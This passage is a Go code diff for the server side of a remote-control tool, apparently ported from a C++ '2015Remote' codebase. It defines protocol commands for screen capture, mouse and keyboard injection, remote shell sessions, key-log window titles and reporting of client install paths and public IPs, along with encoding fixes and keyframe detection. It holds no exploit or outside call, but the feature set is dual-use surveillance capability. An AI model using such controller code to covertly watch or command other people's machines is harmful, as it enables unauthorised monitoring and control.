//
|
||||||
|
// Validation done by jwt.ParseWithClaims:
|
||||||
|
// - signature (RS256, using the supplied public key)
|
||||||
|
// - "exp" claim (expiry)
|
||||||
|
// - "iat" / "nbf" if present
|
||||||
|
//
|
||||||
|
// We additionally require tier ∈ {trial, paid}, max_devices > 0, and "sub"
|
||||||
|
// non-empty.
|
||||||
|
func VerifyJWT(tokenStr string, pubKey *rsa.PublicKey) (*LicenseClaims, error) {
|
||||||
|
claims := &LicenseClaims{}
|
||||||
|
token, err := jwt.ParseWithClaims(tokenStr, claims, func(t *jwt.Token) (any, error) {
|
||||||
|
// Lock to exactly RS256. The wider *SigningMethodRSA check (which
|
||||||
|
// would also accept RS384/RS512) is technically still safe because
|
||||||
|
// all RSA variants require the private key — but pinning the exact
|
||||||
|
// alg matches the docs and avoids surprises if Issue() ever changes.
|
||||||
|
// "alg":"none" tampering is blocked because none isn't SigningMethodRS256.
|
||||||
|
if t.Method != jwt.SigningMethodRS256 {
|
||||||
|
return nil, fmt.Errorf("unexpected JWT alg: %v (need RS256)", t.Header["alg"])
|
||||||
|
}
|
||||||
|
return pubKey, nil
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if !token.Valid {
|
||||||
|
return nil, errors.New("invalid JWT")
|
||||||
|
}
|
||||||
|
|
||||||
|
if claims.Subject == "" {
|
||||||
|
return nil, errors.New("JWT missing 'sub' claim")
|
||||||
|
}
|
||||||
|
switch claims.Tier {
|
||||||
|
case TierTrial:
|
||||||
|
if claims.MaxDevices <= 0 {
|
||||||
|
claims.MaxDevices = TrialMaxDevices
|
||||||
|
}
|
||||||
|
case TierPaid:
|
||||||
|
if claims.MaxDevices <= 0 {
|
||||||
|
return nil, errors.New("paid-tier JWT missing max_devices")
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return nil, fmt.Errorf("unsupported tier: %q", claims.Tier)
|
||||||
|
}
|
||||||
|
|
||||||
|
return claims, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ttlSinceNow returns the time.Duration until exp; useful for logging.
|
||||||
|
func (c *LicenseClaims) ttlSinceNow() time.Duration {
|
||||||
|
if c.ExpiresAt == nil {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
return time.Until(c.ExpiresAt.Time)
|
||||||
|
}
|
||||||
@@ -2,15 +2,22 @@ package protocol
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
|
"crypto/hmac"
|
||||||
|
"crypto/sha256"
|
||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
|
"encoding/hex"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"golang.org/x/text/encoding/simplifiedchinese"
|
"golang.org/x/text/encoding/simplifiedchinese"
|
||||||
"golang.org/x/text/transform"
|
"golang.org/x/text/transform"
|
||||||
)
|
)
|
||||||
|
|
||||||
// gbkToUTF8 converts GBK encoded bytes to UTF-8 string
|
// GbkToUTF8 converts GBK encoded bytes to UTF-8 string. The input is treated
|
||||||
func gbkToUTF8(data []byte) string {
|
// as a null-terminated GBK buffer (typical for Windows clients); content
|
||||||
|
// after the first NUL byte is discarded. Non-printable characters are
|
||||||
|
// stripped from the result.
|
||||||
|
func GbkToUTF8(data []byte) string {
|
||||||
// Find the first null byte and truncate there
|
// Find the first null byte and truncate there
|
||||||
if idx := bytes.IndexByte(data, 0); idx >= 0 {
|
if idx := bytes.IndexByte(data, 0); idx >= 0 {
|
||||||
data = data[:idx]
|
data = data[:idx]
|
||||||
@@ -30,6 +37,21 @@ func gbkToUTF8(data []byte) string {
|
|||||||
return cleanString(buf.String())
|
return cleanString(buf.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Utf8CleanString trims at the first NUL and strips non-printables — the
|
||||||
|
// UTF-8 counterpart of GbkToUTF8 for clients that have the CLIENT_CAP_UTF8
|
||||||
|
// capability bit. Decoding as GBK in that case would mangle multi-byte
|
||||||
|
// sequences (the C++ comment at WebService.cpp:1530 calls out this exact
|
||||||
|
// "double-encoding" footgun).
|
||||||
|
func Utf8CleanString(data []byte) string {
|
||||||
|
if idx := bytes.IndexByte(data, 0); idx >= 0 {
|
||||||
|
data = data[:idx]
|
||||||
|
}
|
||||||
|
if len(data) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return cleanString(string(data))
|
||||||
|
}
|
||||||
|
|
||||||
// cleanString removes non-printable characters except common whitespace
|
// cleanString removes non-printable characters except common whitespace
|
||||||
func cleanString(s string) string {
|
func cleanString(s string) string {
|
||||||
var result strings.Builder
|
var result strings.Builder
|
||||||
@@ -41,10 +63,53 @@ func cleanString(s string) string {
|
|||||||
return strings.TrimSpace(result.String())
|
return strings.TrimSpace(result.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
// Command tokens - matching the C++ definitions
|
// Client capability bitmask values, matching common/commands.h CLIENT_CAP_*.
|
||||||
|
// Reported in the hex tail of LOGIN_INFOR.moduleVersion (after the '-').
|
||||||
|
const (
|
||||||
|
ClientCapV2 uint32 = 0x0001 // CLIENT_CAP_V2 — V2 file transfer
|
||||||
|
ClientCapUTF8 uint32 = 0x0002 // CLIENT_CAP_UTF8 — UTF-8 protocol strings (activeWindow, key-log titles, ...)
|
||||||
|
ClientCapScreenPreview uint32 = 0x0004 // CLIENT_CAP_SCREEN_PREVIEW
|
||||||
|
)
|
||||||
|
|
||||||
|
// SupportsCap returns true when the client's reported capability hex string
|
||||||
|
// has the given bit set. An empty / unparseable string means "no caps" and
|
||||||
|
// matches the legacy GBK-Windows convention.
|
||||||
|
func SupportsCap(capability string, bit uint32) bool {
|
||||||
|
if capability == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
caps, err := strconv.ParseUint(strings.TrimSpace(capability), 16, 32)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return uint32(caps)&bit != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// DecodeClientString decodes a fixed-length, NUL-padded buffer the client
|
||||||
|
// sent as part of a binary protocol field (typically ActiveWnd). If the
|
||||||
|
// client signals UTF-8 capability or is known to ship UTF-8 by default
|
||||||
|
// (Linux / macOS), the bytes are treated as UTF-8; otherwise they're
|
||||||
|
// decoded from GBK (CP936 — the legacy Windows default).
|
||||||
|
//
|
||||||
|
// clientType comes from LOGIN_INFOR reserved field 0 (RES_CLIENT_TYPE) and
|
||||||
|
// capability from the hex tail of moduleVersion. Both can be empty.
|
||||||
|
func DecodeClientString(data []byte, capability, clientType string) string {
|
||||||
|
if SupportsCap(capability, ClientCapUTF8) || clientType == "LNX" || clientType == "MAC" {
|
||||||
|
return Utf8CleanString(data)
|
||||||
|
}
|
||||||
|
return GbkToUTF8(data)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Command tokens - matching the C++ definitions (common/commands.h).
|
||||||
const (
|
const (
|
||||||
// Server -> Client commands
|
// Server -> Client commands
|
||||||
CommandActived byte = 0 // COMMAND_ACTIVED
|
CommandActived byte = 0 // COMMAND_ACTIVED
|
||||||
|
CommandScreenSpy byte = 16 // COMMAND_SCREEN_SPY - start screen capture
|
||||||
|
CommandScreenControl byte = 20 // COMMAND_SCREEN_CONTROL - mouse/keyboard input (MSG64 batches)
|
||||||
|
CommandNext byte = 30 // COMMAND_NEXT - "control-side dialog is open, you may stream"
|
||||||
|
CommandShell byte = 40 // COMMAND_SHELL - ask device to open a shell sub-connection
|
||||||
|
CommandTerminalRsize byte = 81 // CMD_TERMINAL_RESIZE - [cmd:1][cols:2 LE][rows:2 LE]
|
||||||
|
CmdRestoreConsole byte = 82 // CMD_RESTORE_CONSOLE - RDP session "归位": switch back to the console session and restart capture
|
||||||
CommandBye byte = 204 // COMMAND_BYE - disconnect
|
CommandBye byte = 204 // COMMAND_BYE - disconnect
|
||||||
CommandHeartbeat byte = 216 // CMD_HEARTBEAT_ACK
|
CommandHeartbeat byte = 216 // CMD_HEARTBEAT_ACK
|
||||||
|
|
||||||
@@ -52,8 +117,302 @@ const (
|
|||||||
TokenAuth byte = 100 // TOKEN_AUTH - authorization required
|
TokenAuth byte = 100 // TOKEN_AUTH - authorization required
|
||||||
TokenHeartbeat byte = 101 // TOKEN_HEARTBEAT
|
TokenHeartbeat byte = 101 // TOKEN_HEARTBEAT
|
||||||
TokenLogin byte = 102 // TOKEN_LOGIN - login packet
|
TokenLogin byte = 102 // TOKEN_LOGIN - login packet
|
||||||
|
TokenBitmapInfo byte = 115 // TOKEN_BITMAPINFO - screen sub-connection header
|
||||||
|
TokenFirstScreen byte = 116 // TOKEN_FIRSTSCREEN - raw BGRA baseline frame (NOT H264)
|
||||||
|
TokenNextScreen byte = 117 // TOKEN_NEXTSCREEN - non-keyframe H264 (P-frame)
|
||||||
|
TokenShellStart byte = 128 // TOKEN_SHELL_START - legacy cmd-pipe shell sub-conn open
|
||||||
|
TokenKeyframe byte = 134 // TOKEN_KEYFRAME - H264 IDR (sent on GOP boundary)
|
||||||
|
TokenTerminalStart byte = 232 // TOKEN_TERMINAL_START - modern PTY shell sub-conn open
|
||||||
|
TokenTerminalClose byte = 233 // TOKEN_TERMINAL_CLOSE - shell exited / close ack
|
||||||
|
TokenConnAuth byte = 246 // TOKEN_CONN_AUTH - sub-connection identity handshake
|
||||||
|
CmdCursorImage byte = 93 // CMD_CURSOR_IMAGE - custom cursor bitmap (Phase 5+ feature)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// Sub-connection authentication (matches common/commands.h ConnAuth* structs).
|
||||||
|
// Each newly-opened sub-conn first sends a 512-byte ConnAuthPacket, then waits
|
||||||
|
// for a 256-byte ConnAuthAck before any further command is meaningful.
|
||||||
|
const (
|
||||||
|
ConnAuthPacketSize = 512
|
||||||
|
ConnAuthAckSize = 256
|
||||||
|
// ConnAuthPacket field offsets within the inbound 512-byte buffer.
|
||||||
|
// Layout (from common/commands.h::ConnAuthPacket):
|
||||||
|
// [token:1][clientID:8 LE][timestamp:8 LE][nonce:16][signature:64][reserved:415]
|
||||||
|
ConnAuthOffClientID = 1 // uint64 LE — pin to the sub-conn so later
|
||||||
|
// // 1-byte tokens (TOKEN_TERMINAL_START etc.) can
|
||||||
|
// // resolve the parent device.
|
||||||
|
// ConnAuthAck field offsets within the outbound 256-byte buffer.
|
||||||
|
ConnAuthAckOffStatus = 1 // uint8
|
||||||
|
ConnAuthAckOffServerTime = 2 // uint64 LE
|
||||||
|
// Status codes.
|
||||||
|
ConnAuthStatusOK byte = 0
|
||||||
|
)
|
||||||
|
|
||||||
|
// CMD_MASTERSETTING is the server's reply to a fresh client login. The
|
||||||
|
// client uses the Signature field to prove this server has the shared
|
||||||
|
// secret; without a valid signature the client's private FileUpload init
|
||||||
|
// aborts the process. Struct layout matches MasterSettings in
|
||||||
|
// common/commands.h (pragma pack 4, total 1000 bytes).
|
||||||
|
const (
|
||||||
|
CmdMasterSetting byte = 215
|
||||||
|
MasterSettingsSize = 1000
|
||||||
|
MasterSettingsOffReportInterval = 0 // int32, seconds
|
||||||
|
MasterSettingsOffSignature = 508 // Signature[64]
|
||||||
|
MasterSettingsSignatureLen = 64
|
||||||
|
// DefaultReportIntervalSec matches the C++ default. Sending 0 makes the
|
||||||
|
// client disable its active-window heartbeat field, breaking RTT /
|
||||||
|
// ActiveWindow live updates on the web UI.
|
||||||
|
DefaultReportIntervalSec = 5
|
||||||
|
)
|
||||||
|
|
||||||
|
// SignMessage computes HMAC-SHA256(key, msg) and returns the 64-char
|
||||||
|
// lowercase hex digest. Used to sign CMD_MASTERSETTING replies so the
|
||||||
|
// client can verify the response came from a legitimate server.
|
||||||
|
//
|
||||||
|
// The key is a deployment-time shared secret loaded from the
|
||||||
|
// YAMA_SIGN_PASSWORD env var so the binary doesn't carry the literal in
|
||||||
|
// cleartext; provision out-of-band and never commit it.
|
||||||
|
func SignMessage(password string, msg []byte) string {
|
||||||
|
mac := hmac.New(sha256.New, []byte(password))
|
||||||
|
mac.Write(msg)
|
||||||
|
return hex.EncodeToString(mac.Sum(nil))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Screen-spy parameters that match the C++ ScreenSpy implementation.
|
||||||
|
const (
|
||||||
|
AlgorithmH264 byte = 2 // ALGORITHM_H264 — H264 encoding (the algorithm web uses)
|
||||||
|
)
|
||||||
|
|
||||||
|
// Windows message constants used inside MSG64.message. The client dispatches
|
||||||
|
// on these values verbatim (CScreenManager::ProcessCommand at
|
||||||
|
// client/ScreenManager.cpp:1617), so these MUST stay bit-identical to the
|
||||||
|
// WinUser.h definitions even though this Go server is cross-platform.
|
||||||
|
const (
|
||||||
|
WMKeyDown uint64 = 0x0100
|
||||||
|
WMKeyUp uint64 = 0x0101
|
||||||
|
WMSysKeyDown uint64 = 0x0104
|
||||||
|
WMSysKeyUp uint64 = 0x0105
|
||||||
|
WMMouseMove uint64 = 0x0200
|
||||||
|
WMLButtonDown uint64 = 0x0201
|
||||||
|
WMLButtonUp uint64 = 0x0202
|
||||||
|
WMLButtonDblClk uint64 = 0x0203
|
||||||
|
WMRButtonDown uint64 = 0x0204
|
||||||
|
WMRButtonUp uint64 = 0x0205
|
||||||
|
WMRButtonDblClk uint64 = 0x0206
|
||||||
|
WMMButtonDown uint64 = 0x0207
|
||||||
|
WMMButtonUp uint64 = 0x0208
|
||||||
|
WMMouseWheel uint64 = 0x020A
|
||||||
|
)
|
||||||
|
|
||||||
|
// Virtual-key codes referenced from the input mapping. Same numeric values
|
||||||
|
// as the Win32 VK_* constants.
|
||||||
|
const (
|
||||||
|
VKLWin = 0x5B // VK_LWIN — filtered: never forwarded
|
||||||
|
VKRWin = 0x5C // VK_RWIN — filtered: never forwarded
|
||||||
|
VKPrior = 0x21 // VK_PRIOR (Page Up) — extended-key range start
|
||||||
|
VKDown = 0x28 // VK_DOWN — extended-key range end
|
||||||
|
VKInsert = 0x2D
|
||||||
|
VKDelete = 0x2E
|
||||||
|
VKNumLock = 0x90
|
||||||
|
VKRControl = 0xA3
|
||||||
|
VKRMenu = 0xA5
|
||||||
|
VKApps = 0x5D
|
||||||
|
)
|
||||||
|
|
||||||
|
// MK_* wParam bitflags for mouse-button messages.
|
||||||
|
const (
|
||||||
|
MKLButton uint64 = 0x0001
|
||||||
|
MKRButton uint64 = 0x0002
|
||||||
|
MKMButton uint64 = 0x0010
|
||||||
|
)
|
||||||
|
|
||||||
|
// MSG64 is the 48-byte fixed layout the client expects inside a
|
||||||
|
// COMMAND_SCREEN_CONTROL packet (common/commands.h class MSG64).
|
||||||
|
//
|
||||||
|
// [hwnd:8][message:8][wParam:8][lParam:8][time:8][pt.x:4][pt.y:4]
|
||||||
|
//
|
||||||
|
// All uint64 fields are little-endian; pt is two int32 LE. The client's
|
||||||
|
// ProcessCommand validates `ulLength % 48 == 0` and treats each 48-byte
|
||||||
|
// block as one MSG64.
|
||||||
|
const Msg64Size = 48
|
||||||
|
|
||||||
|
// BuildScreenControlPacket encodes one COMMAND_SCREEN_CONTROL packet
|
||||||
|
// carrying a single MSG64 record. The cmd byte is prepended.
|
||||||
|
//
|
||||||
|
// Wire layout:
|
||||||
|
//
|
||||||
|
// [CMD:1][hwnd:8 LE][message:8 LE][wParam:8 LE][lParam:8 LE][time:8 LE][pt.x:4 LE][pt.y:4 LE]
|
||||||
|
//
|
||||||
|
// time is filled with a monotonic-ish ms value (ms since Unix epoch trimmed
|
||||||
|
// to 32 bits) so the client's GetTickCount() comparisons stay reasonable.
|
||||||
|
func BuildScreenControlPacket(message, wParam, lParam uint64, ptX, ptY int32, timeMs uint32) []byte {
|
||||||
|
buf := make([]byte, 1+Msg64Size)
|
||||||
|
buf[0] = CommandScreenControl
|
||||||
|
// hwnd left zero — the client recomputes hWnd via WindowFromPoint.
|
||||||
|
binary.LittleEndian.PutUint64(buf[1+8:1+16], message)
|
||||||
|
binary.LittleEndian.PutUint64(buf[1+16:1+24], wParam)
|
||||||
|
binary.LittleEndian.PutUint64(buf[1+24:1+32], lParam)
|
||||||
|
binary.LittleEndian.PutUint64(buf[1+32:1+40], uint64(timeMs))
|
||||||
|
binary.LittleEndian.PutUint32(buf[1+40:1+44], uint32(ptX))
|
||||||
|
binary.LittleEndian.PutUint32(buf[1+44:1+48], uint32(ptY))
|
||||||
|
return buf
|
||||||
|
}
|
||||||
|
|
||||||
|
// TerminalBinaryMagic is the 4-byte prefix the web UI uses to demultiplex
|
||||||
|
// terminal output from screen frames over the single WebSocket. Matches
|
||||||
|
// the C++ side at server/2015Remote/WebService.cpp:2013 ("TRM1"). Screen
|
||||||
|
// frames lead with a uint32 LE device ID, so collisions with this exact
|
||||||
|
// magic are astronomically rare in practice.
|
||||||
|
var TerminalBinaryMagic = [4]byte{'T', 'R', 'M', '1'}
|
||||||
|
|
||||||
|
// BuildTerminalResize encodes the 5-byte CMD_TERMINAL_RESIZE packet the
|
||||||
|
// client's ConPTYManager/TerminalManager expects on the shell sub-conn:
|
||||||
|
//
|
||||||
|
// [CMD_TERMINAL_RESIZE:1][cols:2 LE][rows:2 LE]
|
||||||
|
//
|
||||||
|
// cols/rows are signed int16 on the wire (the C++ side casts to `short`).
|
||||||
|
func BuildTerminalResize(cols, rows int) []byte {
|
||||||
|
buf := make([]byte, 5)
|
||||||
|
buf[0] = CommandTerminalRsize
|
||||||
|
binary.LittleEndian.PutUint16(buf[1:3], uint16(int16(cols)))
|
||||||
|
binary.LittleEndian.PutUint16(buf[3:5], uint16(int16(rows)))
|
||||||
|
return buf
|
||||||
|
}
|
||||||
|
|
||||||
|
// MakeLParam packs x into the low word and y into the high word — the
|
||||||
|
// Windows MAKELPARAM macro the client expects in mouse-message lParams.
|
||||||
|
func MakeLParam(x, y int32) uint64 {
|
||||||
|
return uint64(uint32(x)&0xFFFF) | (uint64(uint32(y)&0xFFFF) << 16)
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsExtendedKey returns true when the given Win32 VK code should set the
|
||||||
|
// extended-key bit (bit 24) in a keyboard lParam. Matches the C++
|
||||||
|
// HandleKey logic (server/2015Remote/WebService.cpp:944).
|
||||||
|
func IsExtendedKey(vk int) bool {
|
||||||
|
if vk >= VKPrior && vk <= VKDown {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
switch vk {
|
||||||
|
case VKInsert, VKDelete, VKNumLock, VKRControl, VKRMenu, VKApps:
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reserved-field indices we care about (see common/commands.h RES_* enum).
|
||||||
|
// LOGIN_INFOR.szReserved is a '|'-separated list; clients fill known slots
|
||||||
|
// even when leaving others blank ("?").
|
||||||
|
const (
|
||||||
|
ResFieldClientType = 0 // RES_CLIENT_TYPE — client kind (Windows / macOS / ...)
|
||||||
|
ResFieldFilePath = 4 // RES_FILE_PATH — install path
|
||||||
|
ResFieldInstallTime = 6 // RES_INSTALL_TIME
|
||||||
|
ResFieldClientLoc = 10 // RES_CLIENT_LOC — geo string
|
||||||
|
ResFieldClientPubIP = 11 // RES_CLIENT_PUBIP — public IP
|
||||||
|
ResFieldResolution = 15 // RES_RESOLUTION — client-formatted screen geometry: "N:W*H"
|
||||||
|
ResFieldClientID = 16 // RES_CLIENT_ID — uint64 decimal, matches TOKEN_BITMAPINFO clientID
|
||||||
|
)
|
||||||
|
|
||||||
|
// ScreenFrameHeaderLen is the size of the small per-frame header prepended by
|
||||||
|
// the device on every TOKEN_NEXTSCREEN buffer, before the H.264 NAL payload.
|
||||||
|
// Layout (excluding the leading TOKEN_* byte):
|
||||||
|
//
|
||||||
|
// [algorithm:1][cursorPos:8 (int32 x, int32 y)][cursorIdx:1] = 10 bytes
|
||||||
|
//
|
||||||
|
// (The C++ side counts the token byte into its ulHeadLength=11; we keep the
|
||||||
|
// constant strictly post-token so the call site reads `skip := 1 + headerLen`
|
||||||
|
// without confusion.) SCREENYSPY_IMPROVE adds a 4-byte frameID after the
|
||||||
|
// cursor index, which is the production-off setting per common/commands.h.
|
||||||
|
const ScreenFrameHeaderLen = 1 + 8 + 1
|
||||||
|
|
||||||
|
// IsH264Keyframe scans an Annex-B H.264 bitstream for a NAL unit indicating
|
||||||
|
// a keyframe boundary — IDR (type 5), SPS (7) or PPS (8). Returns true on
|
||||||
|
// the first hit. Matches the detection used by the C++ ScreenSpy broadcast
|
||||||
|
// path so frame-type bytes stay consistent across server implementations.
|
||||||
|
func IsH264Keyframe(data []byte) bool {
|
||||||
|
n := len(data)
|
||||||
|
for i := 0; i+4 < n; i++ {
|
||||||
|
var nalOffset int
|
||||||
|
switch {
|
||||||
|
case data[i] == 0 && data[i+1] == 0 && data[i+2] == 0 && data[i+3] == 1:
|
||||||
|
nalOffset = i + 4
|
||||||
|
case data[i] == 0 && data[i+1] == 0 && data[i+2] == 1:
|
||||||
|
nalOffset = i + 3
|
||||||
|
default:
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if nalOffset >= n {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
nalType := data[nalOffset] & 0x1F
|
||||||
|
if nalType == 5 || nalType == 7 || nalType == 8 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsAnyKeyframe sniffs the codec from the first byte then dispatches to the
|
||||||
|
// matching keyframe detector. H.264 Annex B always starts with 0x00 (start
|
||||||
|
// code prefix); AV1 OBU headers have bit7=0 and bits[3:6]=obu_type in [1,15]
|
||||||
|
// so the first byte is in [0x08,0x78] and never 0x00. Lets the server stay
|
||||||
|
// codec-agnostic so the browser can run H.264 and AV1 sessions side by side.
|
||||||
|
func IsAnyKeyframe(data []byte) bool {
|
||||||
|
if len(data) == 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if data[0] == 0x00 {
|
||||||
|
return IsH264Keyframe(data)
|
||||||
|
}
|
||||||
|
return IsAv1Keyframe(data)
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsAv1Keyframe walks the OBU chain and returns true on the first
|
||||||
|
// OBU_SEQUENCE_HEADER (type 1). FFmpeg's AV1 encoders prepend SEQ HDR to
|
||||||
|
// every IDR, so seeing one is equivalent to "this packet contains a key
|
||||||
|
// frame". Mirrors the C++ IsAv1Keyframe helper in ScreenSpyDlg.cpp.
|
||||||
|
//
|
||||||
|
// AV1 OBU header byte layout: 0|type:4|ext:1|size:1|reserved:1
|
||||||
|
func IsAv1Keyframe(data []byte) bool {
|
||||||
|
n := len(data)
|
||||||
|
pos := 0
|
||||||
|
for pos < n {
|
||||||
|
hdr := data[pos]
|
||||||
|
obuType := (hdr >> 3) & 0x0F
|
||||||
|
hasExt := hdr&0x04 != 0
|
||||||
|
hasSize := hdr&0x02 != 0
|
||||||
|
if obuType == 1 { // OBU_SEQUENCE_HEADER
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
pos++
|
||||||
|
if hasExt {
|
||||||
|
if pos >= n {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
pos++
|
||||||
|
}
|
||||||
|
if !hasSize {
|
||||||
|
return false // unsized OBU runs to end of packet
|
||||||
|
}
|
||||||
|
// LEB128 size
|
||||||
|
var sz uint64
|
||||||
|
for i := range 8 {
|
||||||
|
if pos >= n {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
b := data[pos]
|
||||||
|
pos++
|
||||||
|
sz |= uint64(b&0x7F) << (7 * i)
|
||||||
|
if b&0x80 == 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if uint64(pos)+sz > uint64(n) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
pos += int(sz)
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
// LOGIN_INFOR structure size and offsets (matching C++ struct with default alignment)
|
// LOGIN_INFOR structure size and offsets (matching C++ struct with default alignment)
|
||||||
// Note: C++ struct uses default alignment (4-byte for uint32/int)
|
// Note: C++ struct uses default alignment (4-byte for uint32/int)
|
||||||
const (
|
const (
|
||||||
@@ -87,7 +446,22 @@ type LoginInfo struct {
|
|||||||
Reserved string // Contains additional info separated by |
|
Reserved string // Contains additional info separated by |
|
||||||
}
|
}
|
||||||
|
|
||||||
// ParseLoginInfo parses LOGIN_INFOR from data
|
// ParseLoginInfo parses LOGIN_INFOR from data.
|
||||||
|
//
|
||||||
|
// Encoding: text fields are GBK on legacy Windows clients and UTF-8 on modern
|
||||||
|
// clients that set CLIENT_CAP_UTF8 (always on for LNX / MAC). Picking the
|
||||||
|
// wrong codec mangles non-ASCII characters — e.g. a German location string
|
||||||
|
// "Nürnberg" sent as UTF-8 (4E C3 BC 72 ...) and force-decoded as GBK turns
|
||||||
|
// into mojibake. The heartbeat path already honors this via DecodeClientString
|
||||||
|
// (see cmd/main.go handleHeartbeat); ParseLoginInfo previously did not, so
|
||||||
|
// every login string from a UTF-8 client was being misread.
|
||||||
|
//
|
||||||
|
// To get encoding right we have a chicken-and-egg problem: capability lives
|
||||||
|
// in ModuleVersion (offset 164) and clientType lives in Reserved field 0
|
||||||
|
// (offset 476) — but Reserved itself needs that information to decode. Both
|
||||||
|
// "discriminator" values are pure ASCII (hex digits, "Windows"/"LNX"/"MAC"),
|
||||||
|
// so we can extract them with a UTF-8 read and then re-decode the actual
|
||||||
|
// user-text fields with the correct codec.
|
||||||
func ParseLoginInfo(data []byte) (*LoginInfo, error) {
|
func ParseLoginInfo(data []byte) (*LoginInfo, error) {
|
||||||
if len(data) < 100 { // Minimum size check
|
if len(data) < 100 { // Minimum size check
|
||||||
return nil, ErrInvalidData
|
return nil, ErrInvalidData
|
||||||
@@ -97,64 +471,61 @@ func ParseLoginInfo(data []byte) (*LoginInfo, error) {
|
|||||||
Token: data[0],
|
Token: data[0],
|
||||||
}
|
}
|
||||||
|
|
||||||
// Parse OS version info (offset 1, 156 bytes)
|
// CPU MHz, WebCam, Speed — fixed-width binary, encoding-independent.
|
||||||
// The C++ client fills this with a readable string like "Windows 10" via getSystemName()
|
|
||||||
if len(data) >= OffsetOsVerInfoEx+156 {
|
|
||||||
info.OsVerInfo = parseOsVersionInfo(data[OffsetOsVerInfoEx : OffsetOsVerInfoEx+156])
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse CPU MHz (offset 160, 4 bytes)
|
|
||||||
if len(data) >= OffsetCPUMHz+4 {
|
if len(data) >= OffsetCPUMHz+4 {
|
||||||
info.CPUMHz = binary.LittleEndian.Uint32(data[OffsetCPUMHz:])
|
info.CPUMHz = binary.LittleEndian.Uint32(data[OffsetCPUMHz:])
|
||||||
}
|
}
|
||||||
|
|
||||||
// Parse module version (offset 164, 24 bytes)
|
|
||||||
// This contains date string like "Dec 19 2025"
|
|
||||||
if len(data) >= OffsetModuleVersion+24 {
|
|
||||||
info.ModuleVersion = gbkToUTF8(data[OffsetModuleVersion : OffsetModuleVersion+24])
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse PC name (offset 188, 240 bytes)
|
|
||||||
if len(data) >= OffsetPCName+240 {
|
|
||||||
info.PCName = gbkToUTF8(data[OffsetPCName : OffsetPCName+240])
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse Master ID (offset 428, 20 bytes)
|
|
||||||
if len(data) >= OffsetMasterID+20 {
|
|
||||||
info.MasterID = gbkToUTF8(data[OffsetMasterID : OffsetMasterID+20])
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse WebCam exist (offset 448, 4 bytes)
|
|
||||||
if len(data) >= OffsetWebCamExist+4 {
|
if len(data) >= OffsetWebCamExist+4 {
|
||||||
info.WebCamExist = binary.LittleEndian.Uint32(data[OffsetWebCamExist:]) != 0
|
info.WebCamExist = binary.LittleEndian.Uint32(data[OffsetWebCamExist:]) != 0
|
||||||
}
|
}
|
||||||
|
|
||||||
// Parse Speed (offset 452, 4 bytes)
|
|
||||||
if len(data) >= OffsetSpeed+4 {
|
if len(data) >= OffsetSpeed+4 {
|
||||||
info.Speed = binary.LittleEndian.Uint32(data[OffsetSpeed:])
|
info.Speed = binary.LittleEndian.Uint32(data[OffsetSpeed:])
|
||||||
}
|
}
|
||||||
|
|
||||||
// Parse Start time (offset 456, 20 bytes)
|
// ModuleVersion is "version-capabilityHex" — pure ASCII (e.g. "Dec 19
|
||||||
if len(data) >= OffsetStartTime+20 {
|
// 2025-0006"). Safe to read as UTF-8 regardless of client codec.
|
||||||
info.StartTime = gbkToUTF8(data[OffsetStartTime : OffsetStartTime+20])
|
if len(data) >= OffsetModuleVersion+24 {
|
||||||
|
info.ModuleVersion = Utf8CleanString(data[OffsetModuleVersion : OffsetModuleVersion+24])
|
||||||
|
}
|
||||||
|
_, capability, _ := strings.Cut(info.ModuleVersion, "-")
|
||||||
|
|
||||||
|
// Peek at Reserved field 0 (RES_CLIENT_TYPE: "Windows" / "LNX" / "MAC")
|
||||||
|
// — pure ASCII, so we can read raw bytes without knowing the codec.
|
||||||
|
// LNX / MAC clients are implicitly UTF-8 even when capability is absent.
|
||||||
|
clientType := ""
|
||||||
|
if len(data) > OffsetReserved {
|
||||||
|
raw := data[OffsetReserved:min(OffsetReserved+512, len(data))]
|
||||||
|
if nul := bytes.IndexByte(raw, 0); nul >= 0 {
|
||||||
|
raw = raw[:nul]
|
||||||
|
}
|
||||||
|
head, _, _ := bytes.Cut(raw, []byte("|"))
|
||||||
|
clientType = string(head)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Parse Reserved (offset 476, 512 bytes) - contains additional info
|
// Now decode every user-text field with the client's actual codec.
|
||||||
|
decode := func(b []byte) string { return DecodeClientString(b, capability, clientType) }
|
||||||
|
|
||||||
|
if len(data) >= OffsetOsVerInfoEx+156 {
|
